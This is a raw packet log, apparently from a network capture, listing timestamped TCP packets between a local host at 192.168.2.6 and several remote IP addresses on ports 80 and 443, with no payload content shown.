Nov 28, 2024 15:17:47.906315088 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.906331062 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.906372070 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.907145977 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.907233953 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.907282114 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.908021927 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.908066988 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.908104897 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.908159971 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.908890009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.908935070 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.908936977 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.908967972 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.909837961 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.909881115 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.909885883 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.909913063 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.910742998 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.910792112 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.910799980 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.910831928 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.911658049 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.911704063 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.911734104 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.911771059 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.912590027 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.912611008 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.912640095 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.912672043 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.971422911 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.971488953 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.971525908 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.971565962 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.971828938 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.971874952 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.972034931 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.972079039 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.972136974 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.972573996 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.972963095 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.973010063 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.973064899 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.973104000 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.973886967 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.973927975 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.973980904 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.974021912 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.974766016 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.974858999 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.974874973 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.974914074 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.975699902 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.975764990 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.975800991 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.975841045 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.976634026 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.976686001 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.976718903 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.976814032 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.977606058 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.977628946 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.977670908 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.977706909 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.978435040 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.978466034 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.978491068 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.978513002 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.979357004 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.979463100 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.979465008 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.979614973 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.980282068 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.980340004 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.980386972 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.980432987 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.038693905 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.048155069 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.051376104 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:48.051454067 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.159770012 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.197946072 CET	443	49877	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:48.198075056 CET	49877	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:48.198503017 CET	49877	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:48.198513031 CET	443	49877	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:48.201586962 CET	49877	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:48.201592922 CET	443	49877	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:48.223551989 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.226458073 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.226495981 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:48.226530075 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.226558924 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:48.226658106 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:48.229577065 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:48.271373034 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.290112972 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.298579931 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:48.298616886 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.301582098 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:48.301634073 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.424642086 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.427557945 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:48.427622080 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.496706009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.496788025 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.496846914 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.497210979 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.497224092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.497298002 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.497298002 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.498059034 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.498069048 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.498297930 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.499027967 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.499183893 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.499319077 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.500052929 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.500212908 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.500346899 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.500885010 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.501039982 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.501439095 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.501713991 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.501884937 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.502043009 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.502707958 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.502862930 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.502870083 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.502985001 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.503556013 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.503731966 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.503755093 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.504549026 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.504715919 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.504740953 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.504906893 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.505534887 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.505690098 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.505716085 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.505769014 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.506400108 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.506495953 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.506583929 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.506659985 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.507198095 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.507502079 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.507530928 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.508330107 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.508496046 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.508521080 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.508667946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.509191036 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.509211063 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.509269953 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.509269953 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.510000944 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.510093927 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.510145903 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.510190010 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.510937929 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.511070013 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.511104107 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.511215925 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.511872053 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.512010098 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.512192965 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.512728930 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.512815952 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.512839079 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.513663054 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.513703108 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.513864040 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.513947964 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.514576912 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.514697075 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.514754057 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.514864922 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.515593052 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.515794992 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.516047001 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.516513109 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.516669989 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.516701937 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.516777039 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.517333031 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.517443895 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.517508030 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.517594099 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.518126011 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.518316031 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.518337965 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.518342972 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.518354893 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.518362999 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.518445015 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.518467903 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.518563032 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.518585920 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.521425009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.521608114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.521632910 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.522465944 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.522478104 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.522537947 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.522537947 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.523123026 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.523135900 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.523211956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.523791075 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.523891926 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.523962975 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.524017096 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.524696112 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.524872065 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.524893045 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.525667906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.525686979 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:48.525691986 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.525716066 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.526016951 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:48.625663042 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.628693104 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:48.628753901 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.640839100 CET	443	49880	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:48.641238928 CET	49880	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:48.641263008 CET	443	49880	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:48.641978025 CET	443	49880	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:48.642810106 CET	49880	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:48.642810106 CET	49880	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:48.642899990 CET	443	49880	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:48.655210972 CET	443	49877	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:48.655291080 CET	443	49877	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:48.655324936 CET	49877	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:48.655364037 CET	49877	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:48.656286955 CET	49877	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:48.656303883 CET	443	49877	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:48.656369925 CET	49877	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:48.656503916 CET	49877	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:48.671345949 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.689471960 CET	49880	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:48.696016073 CET	443	49881	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:48.696362972 CET	49881	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:48.696393013 CET	443	49881	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:48.696737051 CET	443	49881	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:48.697268963 CET	49881	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:48.697325945 CET	443	49881	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:48.697490931 CET	49881	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:48.721070051 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:48.721079111 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.724432945 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:48.724499941 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.739340067 CET	443	49881	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:48.787940025 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.793847084 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:48.793888092 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.794970036 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:48.795002937 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.826917887 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.833072901 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:48.879373074 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.989253998 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:48.991910934 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:48.991960049 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:49.097022057 CET	443	49880	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:49.099874020 CET	443	49880	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:49.099940062 CET	49880	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:49.100187063 CET	49880	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:49.100208998 CET	443	49880	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:49.136478901 CET	443	49881	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:49.136522055 CET	443	49881	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:49.136574030 CET	49881	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:49.136617899 CET	443	49881	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:49.138967991 CET	49881	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:49.139036894 CET	443	49881	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:49.139089108 CET	49881	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:49.178603888 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:49.178643942 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:49.190520048 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:49.193907022 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:49.193949938 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:49.241158962 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:49.241230965 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:49.243969917 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:49.244030952 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:49.298662901 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:49.298676968 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:49.362467051 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:49.365516901 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:49.365578890 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:49.365600109 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:49.365621090 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:49.391786098 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:49.394376993 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:49.435359001 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:49.453181982 CET	443	49855	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:49.453205109 CET	443	49855	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:49.453233957 CET	443	49855	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:49.453259945 CET	49855	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:49.453275919 CET	443	49855	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:49.453306913 CET	49855	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:49.453330994 CET	443	49855	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:49.453373909 CET	49855	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:49.476769924 CET	49855	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:49.476794958 CET	443	49855	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:49.563777924 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:49.568160057 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:49.568212986 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:49.765022039 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:49.768831968 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:49.768872023 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:49.806231022 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:49.856420994 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:49.856457949 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:49.859278917 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:49.903352976 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:49.922223091 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:49.924510002 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:49.924544096 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:49.926613092 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:49.966418028 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:49.968786001 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:50.011336088 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:50.123616934 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:50.130814075 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:50.130904913 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:50.324498892 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:50.328084946 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:50.328124046 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:50.366390944 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:50.419428110 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:50.419454098 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:50.421909094 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:50.463332891 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:50.525609970 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:50.531712055 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:50.531760931 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:50.533184052 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:50.533211946 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:50.567536116 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:50.572705984 CET	49779	443	192.168.2.6	13.107.246.63
